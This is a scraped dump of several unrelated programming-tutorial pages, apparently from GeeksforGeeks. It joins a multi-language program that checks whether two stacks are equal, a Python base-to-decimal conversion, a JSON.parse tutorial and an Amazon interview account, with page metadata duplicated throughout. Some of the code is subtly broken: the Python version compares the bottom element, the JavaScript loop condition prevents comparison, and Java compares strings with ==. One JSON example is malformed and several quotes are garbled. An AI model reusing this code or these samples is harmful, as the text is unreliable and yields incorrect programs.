stack2 stack2.push("Geeks"); stack2.push("4"); stack2.push("Geeks"); stack2.push("Welcomes"); stack2.push("You"); if (isSameStack(stack1, stack2)) cout << "Stacks are Same"; else cout << "Stacks are not Same"; return 0;} // Java program to check if the given// stacks are equal or notimport java.util.*; class GFG{ // Function to check if the two given// stacks are samestatic boolean isSameStack(Stack<String> stack1, Stack<String> stack2){ // Create a flag variable boolean flag = true; // Check if size of both stacks are same if (stack1.size() != stack2.size()) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.empty() == false) { // If the top elements of both stacks // are same if (stack1.peek() == stack2.peek()) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codepublic static void main(String arr[]){ // Creating stacks Stack<String> stack1 = new Stack<String>(); Stack<String> stack2 = new Stack<String>(); // Inserting elements to stack1 stack1.push("Geeks"); stack1.push("4"); stack1.push("Geeks"); stack1.push("Welcomes"); stack1.push("You"); // Inserting elements to stack2 stack2.push("Geeks"); stack2.push("4"); stack2.push("Geeks"); stack2.push("Welcomes"); stack2.push("You"); if (isSameStack(stack1, stack2)) System.out.println("Stacks are Same"); else System.out.println("Stacks are not Same"); }} /* This code contributed by PrinciRaj1992 */ # Python3 program to check if the given# stacks are equal or not # Function to check if the two given# stacks are samedef isSameStack(stack1, stack2) : # Create a flag variable flag = True; # Check if size of both stacks are same if (len(stack1) != len(stack2)) : flag = False; return flag; # Until the stacks are not empty # compare top of both stacks while (len(stack1)) : # If the top elements of both stacks # are same if (stack1[0] == stack2[0]) : # Pop top of both stacks stack1.pop(); stack2.pop(); else : # Otherwise, set flag to false flag = False; break; # Return flag return flag; # Driver Codeif __name__ == "__main__" : # Creating stacks stack1 = []; stack2 = []; # Inserting elements to stack1 stack1.append("Geeks"); stack1.append("4"); stack1.append("Geeks"); stack1.append("Welcomes"); stack1.append("You"); # Inserting elements to stack2 stack2.append("Geeks"); stack2.append("4"); stack2.append("Geeks"); stack2.append("Welcomes"); stack2.append("You"); if (isSameStack(stack1, stack2)) : print("Stacks are Same"); else : print("Stacks are not Same"); # This code is contributed by AnkitRai01 // C# program to check if the given// stacks are equal or notusing System;using System.Collections.Generic; class GFG{ // Function to check if the two given// stacks are samestatic Boolean isSameStack(Stack<String> stack1, Stack<String> stack2){ // Create a flag variable Boolean flag = true; // Check if size of both stacks are same if (stack1.Count != stack2.Count) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.Count!=0) { // If the top elements of both stacks // are same if (stack1.Peek() == stack2.Peek()) { // Pop top of both stacks stack1.Pop(); stack2.Pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codepublic static void Main(String []arr){ // Creating stacks Stack<String> stack1 = new Stack<String>(); Stack<String> stack2 = new Stack<String>(); // Inserting elements to stack1 stack1.Push("Geeks"); stack1.Push("4"); stack1.Push("Geeks"); stack1.Push("Welcomes"); stack1.Push("You"); // Inserting elements to stack2 stack2.Push("Geeks"); stack2.Push("4"); stack2.Push("Geeks"); stack2.Push("Welcomes"); stack2.Push("You"); if (isSameStack(stack1, stack2)) Console.WriteLine("Stacks are Same"); else Console.WriteLine("Stacks are not Same"); }} // This code has been contributed by 29AjayKumar <script> // JavaScript program to check if the given// stacks are equal or not // Function to check if the two given// stacks are samefunction isSameStack(stack1,stack2){ // Create a flag variable let flag = true; // Check if size of both stacks are same if (stack1.length != stack2.length) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.length == false) { // If the top elements of both stacks // are same if (stack1[stack1.length-1] == stack2[stack2.length-1]) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Code // Creating stackslet stack1 = [];let stack2 = []; // Inserting elements to stack1stack1.push("Geeks");stack1.push("4");stack1.push("Geeks");stack1.push("Welcomes");stack1.push("You"); // Inserting elements to stack2stack2.push("Geeks");stack2.push("4");stack2.push("Geeks");stack2.push("Welcomes");stack2.push("You"); if (isSameStack(stack1, stack2)) document.write("Stacks are Same");else document.write("Stacks are not Same"); // This code is contributed by rag2127 </script> Stacks are Same ankthon princiraj1992 29AjayKumar rag2127 cpp-stack Articles Stack Stack Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Time Complexity and Space Complexity Docker - COPY Instruction Time complexities of different data structures SQL | Date functions Difference between Min Heap and Max Heap Stack Data Structure (Introduction and Program) Stack in Python Stack Class in Java Check for Balanced Brackets in an expression (well-formedness) using Stack Program for Tower of Hanoi
[ { "code": null, "e": 24418, "s": 24390, "text": "\n03 Jun, 2021" }, { "code": null, "e": 24588, "s": 24418, "text": "Given two Stacks, the task is to check if the given stacks are same or not.Two stacks are said to be same if they contains the same elements in the same order.Example: " }, { "code": null, "e": 24602, "s": 24590, "text": "Approach: " }, { "code": null, "e": 25217, "s": 24602, "text": "Take a flag variable and set it to true initially, flag = true. This variable will indicate whether the stacks are same or not.First check if the size of given stack1 and stack2 are equal. If the size is not equal, set flag to false and return it.If the size is same, then compare the top elements of both of the given stacks.If the top of both stacks is NOT same, set flag to false and return it otherwise pop top elements of both stacks.Repeat step 3 and 4 until all elements are popped out from both of the stacks.If both stacks gets empty and the flag variable is still true, it means that the stacks are same." }, { "code": null, "e": 25345, "s": 25217, "text": "Take a flag variable and set it to true initially, flag = true. This variable will indicate whether the stacks are same or not." }, { "code": null, "e": 25466, "s": 25345, "text": "First check if the size of given stack1 and stack2 are equal. If the size is not equal, set flag to false and return it." }, { "code": null, "e": 25546, "s": 25466, "text": "If the size is same, then compare the top elements of both of the given stacks." }, { "code": null, "e": 25660, "s": 25546, "text": "If the top of both stacks is NOT same, set flag to false and return it otherwise pop top elements of both stacks." }, { "code": null, "e": 25739, "s": 25660, "text": "Repeat step 3 and 4 until all elements are popped out from both of the stacks." }, { "code": null, "e": 25837, "s": 25739, "text": "If both stacks gets empty and the flag variable is still true, it means that the stacks are same." }, { "code": null, "e": 25886, "s": 25837, "text": "Below is the implementation of the above idea: " }, { "code": null, "e": 25890, "s": 25886, "text": "C++" }, { "code": null, "e": 25895, "s": 25890, "text": "Java" }, { "code": null, "e": 25903, "s": 25895, "text": "Python3" }, { "code": null, "e": 25906, "s": 25903, "text": "C#" }, { "code": null, "e": 25917, "s": 25906, "text": "Javascript" }, { "code": "// C++ program to check if the given// stacks are equal or not #include <bits/stdc++.h>using namespace std; // Function to check if the two given// stacks are samebool isSameStack(stack<string> stack1, stack<string> stack2){ // Create a flag variable bool flag = true; // Check if size of both stacks are same if (stack1.size() != stack2.size()) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.empty() == false) { // If the top elements of both stacks // are same if (stack1.top() == stack2.top()) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codeint main(){ // Creating stacks stack<string> stack1; stack<string> stack2; // Inserting elements to stack1 stack1.push(\"Geeks\"); stack1.push(\"4\"); stack1.push(\"Geeks\"); stack1.push(\"Welcomes\"); stack1.push(\"You\"); // Inserting elements to stack2 stack2.push(\"Geeks\"); stack2.push(\"4\"); stack2.push(\"Geeks\"); stack2.push(\"Welcomes\"); stack2.push(\"You\"); if (isSameStack(stack1, stack2)) cout << \"Stacks are Same\"; else cout << \"Stacks are not Same\"; return 0;}", "e": 27331, "s": 25917, "text": null }, { "code": "// Java program to check if the given// stacks are equal or notimport java.util.*; class GFG{ // Function to check if the two given// stacks are samestatic boolean isSameStack(Stack<String> stack1, Stack<String> stack2){ // Create a flag variable boolean flag = true; // Check if size of both stacks are same if (stack1.size() != stack2.size()) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.empty() == false) { // If the top elements of both stacks // are same if (stack1.peek() == stack2.peek()) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codepublic static void main(String arr[]){ // Creating stacks Stack<String> stack1 = new Stack<String>(); Stack<String> stack2 = new Stack<String>(); // Inserting elements to stack1 stack1.push(\"Geeks\"); stack1.push(\"4\"); stack1.push(\"Geeks\"); stack1.push(\"Welcomes\"); stack1.push(\"You\"); // Inserting elements to stack2 stack2.push(\"Geeks\"); stack2.push(\"4\"); stack2.push(\"Geeks\"); stack2.push(\"Welcomes\"); stack2.push(\"You\"); if (isSameStack(stack1, stack2)) System.out.println(\"Stacks are Same\"); else System.out.println(\"Stacks are not Same\"); }} /* This code contributed by PrinciRaj1992 */", "e": 28921, "s": 27331, "text": null }, { "code": "# Python3 program to check if the given# stacks are equal or not # Function to check if the two given# stacks are samedef isSameStack(stack1, stack2) : # Create a flag variable flag = True; # Check if size of both stacks are same if (len(stack1) != len(stack2)) : flag = False; return flag; # Until the stacks are not empty # compare top of both stacks while (len(stack1)) : # If the top elements of both stacks # are same if (stack1[0] == stack2[0]) : # Pop top of both stacks stack1.pop(); stack2.pop(); else : # Otherwise, set flag to false flag = False; break; # Return flag return flag; # Driver Codeif __name__ == \"__main__\" : # Creating stacks stack1 = []; stack2 = []; # Inserting elements to stack1 stack1.append(\"Geeks\"); stack1.append(\"4\"); stack1.append(\"Geeks\"); stack1.append(\"Welcomes\"); stack1.append(\"You\"); # Inserting elements to stack2 stack2.append(\"Geeks\"); stack2.append(\"4\"); stack2.append(\"Geeks\"); stack2.append(\"Welcomes\"); stack2.append(\"You\"); if (isSameStack(stack1, stack2)) : print(\"Stacks are Same\"); else : print(\"Stacks are not Same\"); # This code is contributed by AnkitRai01", "e": 30265, "s": 28921, "text": null }, { "code": "// C# program to check if the given// stacks are equal or notusing System;using System.Collections.Generic; class GFG{ // Function to check if the two given// stacks are samestatic Boolean isSameStack(Stack<String> stack1, Stack<String> stack2){ // Create a flag variable Boolean flag = true; // Check if size of both stacks are same if (stack1.Count != stack2.Count) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.Count!=0) { // If the top elements of both stacks // are same if (stack1.Peek() == stack2.Peek()) { // Pop top of both stacks stack1.Pop(); stack2.Pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Codepublic static void Main(String []arr){ // Creating stacks Stack<String> stack1 = new Stack<String>(); Stack<String> stack2 = new Stack<String>(); // Inserting elements to stack1 stack1.Push(\"Geeks\"); stack1.Push(\"4\"); stack1.Push(\"Geeks\"); stack1.Push(\"Welcomes\"); stack1.Push(\"You\"); // Inserting elements to stack2 stack2.Push(\"Geeks\"); stack2.Push(\"4\"); stack2.Push(\"Geeks\"); stack2.Push(\"Welcomes\"); stack2.Push(\"You\"); if (isSameStack(stack1, stack2)) Console.WriteLine(\"Stacks are Same\"); else Console.WriteLine(\"Stacks are not Same\"); }} // This code has been contributed by 29AjayKumar", "e": 31872, "s": 30265, "text": null }, { "code": "<script> // JavaScript program to check if the given// stacks are equal or not // Function to check if the two given// stacks are samefunction isSameStack(stack1,stack2){ // Create a flag variable let flag = true; // Check if size of both stacks are same if (stack1.length != stack2.length) { flag = false; return flag; } // Until the stacks are not empty // compare top of both stacks while (stack1.length == false) { // If the top elements of both stacks // are same if (stack1[stack1.length-1] == stack2[stack2.length-1]) { // Pop top of both stacks stack1.pop(); stack2.pop(); } else { // Otherwise, set flag to false flag = false; break; } } // Return flag return flag;} // Driver Code // Creating stackslet stack1 = [];let stack2 = []; // Inserting elements to stack1stack1.push(\"Geeks\");stack1.push(\"4\");stack1.push(\"Geeks\");stack1.push(\"Welcomes\");stack1.push(\"You\"); // Inserting elements to stack2stack2.push(\"Geeks\");stack2.push(\"4\");stack2.push(\"Geeks\");stack2.push(\"Welcomes\");stack2.push(\"You\"); if (isSameStack(stack1, stack2)) document.write(\"Stacks are Same\");else document.write(\"Stacks are not Same\"); // This code is contributed by rag2127 </script>", "e": 33233, "s": 31872, "text": null }, { "code": null, "e": 33249, "s": 33233, "text": "Stacks are Same" }, { "code": null, "e": 33259, "s": 33251, "text": "ankthon" }, { "code": null, "e": 33273, "s": 33259, "text": "princiraj1992" }, { "code": null, "e": 33285, "s": 33273, "text": "29AjayKumar" }, { "code": null, "e": 33293, "s": 33285, "text": "rag2127" }, { "code": null, "e": 33303, "s": 33293, "text": "cpp-stack" }, { "code": null, "e": 33312, "s": 33303, "text": "Articles" }, { "code": null, "e": 33318, "s": 33312, "text": "Stack" }, { "code": null, "e": 33324, "s": 33318, "text": "Stack" }, { "code": null, "e": 33422, "s": 33324, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33431, "s": 33422, "text": "Comments" }, { "code": null, "e": 33444, "s": 33431, "text": "Old Comments" }, { "code": null, "e": 33481, "s": 33444, "text": "Time Complexity and Space Complexity" }, { "code": null, "e": 33507, "s": 33481, "text": "Docker - COPY Instruction" }, { "code": null, "e": 33554, "s": 33507, "text": "Time complexities of different data structures" }, { "code": null, "e": 33575, "s": 33554, "text": "SQL | Date functions" }, { "code": null, "e": 33616, "s": 33575, "text": "Difference between Min Heap and Max Heap" }, { "code": null, "e": 33664, "s": 33616, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 33680, "s": 33664, "text": "Stack in Python" }, { "code": null, "e": 33700, "s": 33680, "text": "Stack Class in Java" }, { "code": null, "e": 33775, "s": 33700, "text": "Check for Balanced Brackets in an expression (well-formedness) using Stack" } ]
Python program to convert any base to decimal by using int() method - GeeksforGeeks
13 Jul, 2020 Given a number and its base, the task is to convert the given number into its corresponding decimal number. The base of number can be anything like digits between 0 to 9 and A to Z. Where the value of A is 10, value of B is 11, value of C is 12 and so on. Examples: Input : '1011' base = 2 Output : 11 Input : '1A' base = 16 Output : 26 Input : '12345' base = 8 Output : 5349 Approach – Given number in string form and base Now call the builtin function int(‘number’, base) by passing the two parameters any base number in String form and base of that number and store the value in temp Print the value temp Python3 # Python program to convert any base# number to its corresponding decimal# number # Function to convert any base number# to its corresponding decimal numberdef any_base_to_decimal(number, base): # calling the builtin function # int(number, base) by passing # two arguments in it number in # string form and base and store # the output value in temp temp = int(number, base) # printing the corresponding decimal # number print(temp) # Driver's Codeif __name__ == '__main__' : hexadecimal_number = '1A' base = 16 any_base_to_decimal(hexadecimal_number, base) Output: 26 Akanksha_Rai Python function-programs Python-Built-in-functions Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python How to Install PIP on Windows ? Enumerate() in Python Different ways to create Pandas Dataframe Python program to convert a list to string Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary
[ { "code": null, "e": 26111, "s": 26083, "text": "\n13 Jul, 2020" }, { "code": null, "e": 26368, "s": 26111, "text": "Given a number and its base, the task is to convert the given number into its corresponding decimal number. The base of number can be anything like digits between 0 to 9 and A to Z. Where the value of A is 10, value of B is 11, value of C is 12 and so on. " }, { "code": null, "e": 26380, "s": 26368, "text": "Examples: " }, { "code": null, "e": 26498, "s": 26380, "text": "Input : '1011' \nbase = 2 \nOutput : 11 \n\nInput : '1A' \nbase = 16\nOutput : 26\n\nInput : '12345' \nbase = 8\nOutput : 5349\n" }, { "code": null, "e": 26509, "s": 26498, "text": "Approach –" }, { "code": null, "e": 26547, "s": 26509, "text": "Given number in string form and base " }, { "code": null, "e": 26711, "s": 26547, "text": "Now call the builtin function int(‘number’, base) by passing the two parameters any base number in String form and base of that number and store the value in temp " }, { "code": null, "e": 26733, "s": 26711, "text": "Print the value temp " }, { "code": null, "e": 26741, "s": 26733, "text": "Python3" }, { "code": "# Python program to convert any base# number to its corresponding decimal# number # Function to convert any base number# to its corresponding decimal numberdef any_base_to_decimal(number, base): # calling the builtin function # int(number, base) by passing # two arguments in it number in # string form and base and store # the output value in temp temp = int(number, base) # printing the corresponding decimal # number print(temp) # Driver's Codeif __name__ == '__main__' : hexadecimal_number = '1A' base = 16 any_base_to_decimal(hexadecimal_number, base)", "e": 27350, "s": 26741, "text": null }, { "code": null, "e": 27358, "s": 27350, "text": "Output:" }, { "code": null, "e": 27361, "s": 27358, "text": "26" }, { "code": null, "e": 27374, "s": 27361, "text": "Akanksha_Rai" }, { "code": null, "e": 27399, "s": 27374, "text": "Python function-programs" }, { "code": null, "e": 27425, "s": 27399, "text": "Python-Built-in-functions" }, { "code": null, "e": 27432, "s": 27425, "text": "Python" }, { "code": null, "e": 27448, "s": 27432, "text": "Python Programs" }, { "code": null, "e": 27546, "s": 27448, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27564, "s": 27546, "text": "Python Dictionary" }, { "code": null, "e": 27599, "s": 27564, "text": "Read a file line by line in Python" }, { "code": null, "e": 27631, "s": 27599, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27653, "s": 27631, "text": "Enumerate() in Python" }, { "code": null, "e": 27695, "s": 27653, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 27738, "s": 27695, "text": "Python program to convert a list to string" }, { "code": null, "e": 27760, "s": 27738, "text": "Defaultdict in Python" }, { "code": null, "e": 27799, "s": 27760, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 27845, "s": 27799, "text": "Python | Split string into list of characters" } ]
Converting JSON text to JavaScript Object - GeeksforGeeks
19 Feb, 2019 Pre-requisite: JavaScript JSONJSON (JavaScript Object Notation) is a lightweight data-interchange format. As its name suggests, JSON is derived from the JavaScript programming language, but it’s available for use by many languages including Python, Ruby, PHP, and Java and hence, it can be said as language-independent. For humans, it is easy to read and write and for machines, it is easy to parse and generate. It is very useful for storing and exchanging data. A JSON object is a key-value data format that is typically rendered in curly braces. JSON object consist of curly braces ( { } ) at the either ends and have key-value pairs inside the braces. Each key-value pair inside braces are separated by comma (, ). JSON object looks something like this : { "key":"value", "key":"value", "key":"value", } Example for a JSON object : { "rollno":101", "name":"Mayank", "age":20, } JSON text/object can be converted into Javascript object using the function JSON.parse(). var object1 = JSON.parse('{"rollno":101, "name":"Mayank", "age":20}'); For getting the value of any key from a Javascript object, we can use the values as: object1.rollno If we pass a invalid JSON text to the function JSON.parse(), it will generate error (no output is displayed when using in tag of HTML). Examples : Here, in example, the JSON text ‘jsonobj’ have 3 key-value pair. Each of the pairs were able to be accessed by the Javascript object ‘obj’ using dot ( . ). ‘obj’ was a javascript object which was the result of the function JSON.parse(). var jsonobj = ‘{ “name”:”Brendan Eich”, “designerof”:”Javascript”, “bornin”:”1961′′ }’;var obj = JSON.parse(jsonobj);print(“JSON Object/Text : “);print(obj.name + “, who was born in ” + obj.bornin + “, was the designer of ” + obj.designerof);print(“Use of Javascript object : “);print(jsonobj); <html><body> <h2>Converting JSON Text into Javascript Object</h2><b>JSON Object :</b><p id="demo"></p><b>Use of Javascript object :</b><p id="demo1"></p> <script>var jsonobj ='{ "name":"Brendan Eich","designerof":"Javascript","bornin":"1961" }'; // Here we convert JSON to objectvar obj = JSON.parse(jsonobj); document.getElementById("demo1").innerHTML = obj.name + ", who was born in " + obj.bornin + ", was the designer of " + obj.designerof;document.getElementById("demo").innerHTML =jsonobj;</script></body></html> JavaScript-Misc JSON JavaScript Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Remove elements from a JavaScript Array Convert a string to an integer in JavaScript Difference between var, let and const keywords in JavaScript Differences between Functional Components and Class Components in React How to calculate the number of days between two dates in javascript? File uploading in React.js How to append HTML code to a div using JavaScript ? Hide or show elements in HTML using display property Difference Between PUT and PATCH Request How to Open URL in New Tab using JavaScript ?
[ { "code": null, "e": 39347, "s": 39319, "text": "\n19 Feb, 2019" }, { "code": null, "e": 39811, "s": 39347, "text": "Pre-requisite: JavaScript JSONJSON (JavaScript Object Notation) is a lightweight data-interchange format. As its name suggests, JSON is derived from the JavaScript programming language, but it’s available for use by many languages including Python, Ruby, PHP, and Java and hence, it can be said as language-independent. For humans, it is easy to read and write and for machines, it is easy to parse and generate. It is very useful for storing and exchanging data." }, { "code": null, "e": 40106, "s": 39811, "text": "A JSON object is a key-value data format that is typically rendered in curly braces. JSON object consist of curly braces ( { } ) at the either ends and have key-value pairs inside the braces. Each key-value pair inside braces are separated by comma (, ). JSON object looks something like this :" }, { "code": null, "e": 40168, "s": 40106, "text": "{\n \"key\":\"value\",\n \"key\":\"value\",\n \"key\":\"value\",\n}\n" }, { "code": null, "e": 40196, "s": 40168, "text": "Example for a JSON object :" }, { "code": null, "e": 40255, "s": 40196, "text": "{\n \"rollno\":101\",\n \"name\":\"Mayank\",\n \"age\":20,\n}\n" }, { "code": null, "e": 40345, "s": 40255, "text": "JSON text/object can be converted into Javascript object using the function JSON.parse()." }, { "code": "var object1 = JSON.parse('{\"rollno\":101, \"name\":\"Mayank\", \"age\":20}');", "e": 40416, "s": 40345, "text": null }, { "code": null, "e": 40516, "s": 40416, "text": "For getting the value of any key from a Javascript object, we can use the values as: object1.rollno" }, { "code": null, "e": 40652, "s": 40516, "text": "If we pass a invalid JSON text to the function JSON.parse(), it will generate error (no output is displayed when using in tag of HTML)." }, { "code": null, "e": 40900, "s": 40652, "text": "Examples : Here, in example, the JSON text ‘jsonobj’ have 3 key-value pair. Each of the pairs were able to be accessed by the Javascript object ‘obj’ using dot ( . ). ‘obj’ was a javascript object which was the result of the function JSON.parse()." }, { "code": null, "e": 41195, "s": 40900, "text": "var jsonobj = ‘{ “name”:”Brendan Eich”, “designerof”:”Javascript”, “bornin”:”1961′′ }’;var obj = JSON.parse(jsonobj);print(“JSON Object/Text : “);print(obj.name + “, who was born in ” + obj.bornin + “, was the designer of ” + obj.designerof);print(“Use of Javascript object : “);print(jsonobj);" }, { "code": "<html><body> <h2>Converting JSON Text into Javascript Object</h2><b>JSON Object :</b><p id=\"demo\"></p><b>Use of Javascript object :</b><p id=\"demo1\"></p> <script>var jsonobj ='{ \"name\":\"Brendan Eich\",\"designerof\":\"Javascript\",\"bornin\":\"1961\" }'; // Here we convert JSON to objectvar obj = JSON.parse(jsonobj); document.getElementById(\"demo1\").innerHTML = obj.name + \", who was born in \" + obj.bornin + \", was the designer of \" + obj.designerof;document.getElementById(\"demo\").innerHTML =jsonobj;</script></body></html>", "e": 41779, "s": 41195, "text": null }, { "code": null, "e": 41795, "s": 41779, "text": "JavaScript-Misc" }, { "code": null, "e": 41800, "s": 41795, "text": "JSON" }, { "code": null, "e": 41811, "s": 41800, "text": "JavaScript" }, { "code": null, "e": 41909, "s": 41811, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 41949, "s": 41909, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 41994, "s": 41949, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 42055, "s": 41994, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 42127, "s": 42055, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 42196, "s": 42127, "text": "How to calculate the number of days between two dates in javascript?" }, { "code": null, "e": 42223, "s": 42196, "text": "File uploading in React.js" }, { "code": null, "e": 42275, "s": 42223, "text": "How to append HTML code to a div using JavaScript ?" }, { "code": null, "e": 42328, "s": 42275, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 42369, "s": 42328, "text": "Difference Between PUT and PATCH Request" } ]
Amazon Interview | Set 33 - GeeksforGeeks
17 Jun, 2019 I recently attended a walk-in for Software development Engineer (SDE- 1) at Amazon, Bangalore. Here is my experience of Amazon interview. As I was from the same city, there was no phone interview. I have listed down all questions that I remember. Round 1: Data Structures, Algorithms and coding (1 hour) Interviewer just started off with questions without introduction and stuff. 1) Given a singly linked list, swap every 2 nodes, for odd number of input; retain the last node as it is.Eg: Input: 5 13 15 18 20 11 6 7Output: 13 5 18 15 11 20 7 6I was asked to write the code straight-away.Wrote the same, verified boundary cases and discussed. 2) Given a binary tree, find the number of pairs where sum of 2 nodes’ values equal to kEg: 1 2 3 4 5 7 Say k=7, output =2 ( 2+5, 3+4)Suggested an approach where I’d use inorder traversal of this,Then interviewer asked me to solve the simplified problem, find k in sorted array instead of tree.Got solution for this one, to have 2 pointers at each end, and traverse accordingly.I was asked the approach for extending same to BST.Then, I implemented the same for BST using stack. Round 2: Data Structures, Algorithms and coding (1 hour) 1) Given input as k sorted arrays, generate a single sorted list as output.Eg:Array1: 1 5 8 9 11 ....Array2: 2 12 24 44 .......Arrayk: 3 15 79 115 ....Output: Array1: 1 2 3 5 8 9 11 12 15 ....Discussed the approach, and complexity, then wrote the code for the same. 2) Given a function isGreater, compare user defined objects and then return the object that is greater than all other objects.Twist: obj1 > obj2 and obj2 > obj3 does not mean obj1>obj3I asked for the use case for the same, as I was not convinced with the problem.He gave an example of games/ 1 team winning another.Discussed the approach and then wrote the code. 3) Given an input sentence, output the non repeated words in the sentence. 4) How are maps implemented? Interviewer then clarified my questions about Amazon. Both first and second rounds were at similar difficulty level. If the interview feedback was bad for any of these, the candidate was eliminated. If at least 1 of these went well and other “not sure”, then too candidate is called for next rounds. Round 3: Hiring Manager round (1 hour 40 minutes)Discussed on my current roles and responsibilities why do you want to join to Amazon? What are your accomplishments in your role so far? What are the things that you’re not good at and need to improve? Serialization of Binary tree. Given 1 traversal is it possible to re-construct the binary tree. Write code to reconstruct the tree given any 2 traversals.I took in-order and post-order traversal, discussed the approach and wrote recursive solution.Was then asked the approach for iterative. Round 4: Culture Fit RoundThis surprisingly had a data structure question first. 1) Given a n (large number) lists of customers who visited n webpages on n (large number) days, design a data structure to get customers who have visited the website on exactly “k” days and should have visited at least “m” distinct pages altogether.Was then asked to improvise the solution as much as possible 2) Details on my previous project and job profile 3) Challenging situation faced 4) Why should we hire you? Then, he answered some of my questions. Round 5: Coding, Algorithm and data structures (Technical round with a senior developer) Started with questions straight away 1) Least common ancestor of a binary tree (Solution and Code) 2) Given a 2 dimensional array sorted vertically and horizontally, search for an element and return true if the element is present. (Algorithm, Code and Complexity) Example 1 5 13 29 11 16 25 38 45 49 52 57 51 54 59 66 3) Something on count sort. 4) Print binary tree in zig-zag order.. 5) Gold box problem (Approach) There are ‘n’ gold boxes placed in a row, each having different number of gold coins. 2 players play a game, where the motive is to collect the maximum number of gold coins. Each player can see how many coins are present in each box, but can get a box from either end only, on his turn. Design a strategy such that Player1 wins (Assuming both players play smartly) I got the hiring call after couple of days, after my last round of interview. They said feedback was very positive and they’re happy to hire me. Was so happy Thank you.. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help. Amazon Interview Experiences Amazon Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Amazon Interview Experience for SDE-1 (Off-Campus) Amazon AWS Interview Experience for SDE-1 Difference between ANN, CNN and RNN Zoho Interview | Set 3 (Off-Campus) Amazon Interview Experience Amazon Interview Experience for SDE-1 JPMorgan Chase & Co. Code for Good Internship Interview Experience 2021 Amazon Interview Experience (Off-Campus) 2022 Directi Interview | Set 7 (Programming Questions) Amazon Interview Experience for SDE-1 (On-Campus)
[ { "code": null, "e": 25785, "s": 25757, "text": "\n17 Jun, 2019" }, { "code": null, "e": 25880, "s": 25785, "text": "I recently attended a walk-in for Software development Engineer (SDE- 1) at Amazon, Bangalore." }, { "code": null, "e": 25923, "s": 25880, "text": "Here is my experience of Amazon interview." }, { "code": null, "e": 26032, "s": 25923, "text": "As I was from the same city, there was no phone interview. I have listed down all questions that I remember." }, { "code": null, "e": 26089, "s": 26032, "text": "Round 1: Data Structures, Algorithms and coding (1 hour)" }, { "code": null, "e": 26165, "s": 26089, "text": "Interviewer just started off with questions without introduction and stuff." }, { "code": null, "e": 26429, "s": 26165, "text": "1) Given a singly linked list, swap every 2 nodes, for odd number of input; retain the last node as it is.Eg: Input: 5 13 15 18 20 11 6 7Output: 13 5 18 15 11 20 7 6I was asked to write the code straight-away.Wrote the same, verified boundary cases and discussed." }, { "code": null, "e": 26521, "s": 26429, "text": "2) Given a binary tree, find the number of pairs where sum of 2 nodes’ values equal to kEg:" }, { "code": null, "e": 26535, "s": 26521, "text": " 1\n2 3\n4 5 7 " }, { "code": null, "e": 26910, "s": 26535, "text": "Say k=7, output =2 ( 2+5, 3+4)Suggested an approach where I’d use inorder traversal of this,Then interviewer asked me to solve the simplified problem, find k in sorted array instead of tree.Got solution for this one, to have 2 pointers at each end, and traverse accordingly.I was asked the approach for extending same to BST.Then, I implemented the same for BST using stack." }, { "code": null, "e": 26967, "s": 26910, "text": "Round 2: Data Structures, Algorithms and coding (1 hour)" }, { "code": null, "e": 27233, "s": 26967, "text": "1) Given input as k sorted arrays, generate a single sorted list as output.Eg:Array1: 1 5 8 9 11 ....Array2: 2 12 24 44 .......Arrayk: 3 15 79 115 ....Output: Array1: 1 2 3 5 8 9 11 12 15 ....Discussed the approach, and complexity, then wrote the code for the same." }, { "code": null, "e": 27596, "s": 27233, "text": "2) Given a function isGreater, compare user defined objects and then return the object that is greater than all other objects.Twist: obj1 > obj2 and obj2 > obj3 does not mean obj1>obj3I asked for the use case for the same, as I was not convinced with the problem.He gave an example of games/ 1 team winning another.Discussed the approach and then wrote the code." }, { "code": null, "e": 27671, "s": 27596, "text": "3) Given an input sentence, output the non repeated words in the sentence." }, { "code": null, "e": 27700, "s": 27671, "text": "4) How are maps implemented?" }, { "code": null, "e": 27754, "s": 27700, "text": "Interviewer then clarified my questions about Amazon." }, { "code": null, "e": 27817, "s": 27754, "text": "Both first and second rounds were at similar difficulty level." }, { "code": null, "e": 28000, "s": 27817, "text": "If the interview feedback was bad for any of these, the candidate was eliminated. If at least 1 of these went well and other “not sure”, then too candidate is called for next rounds." }, { "code": null, "e": 28100, "s": 28000, "text": "Round 3: Hiring Manager 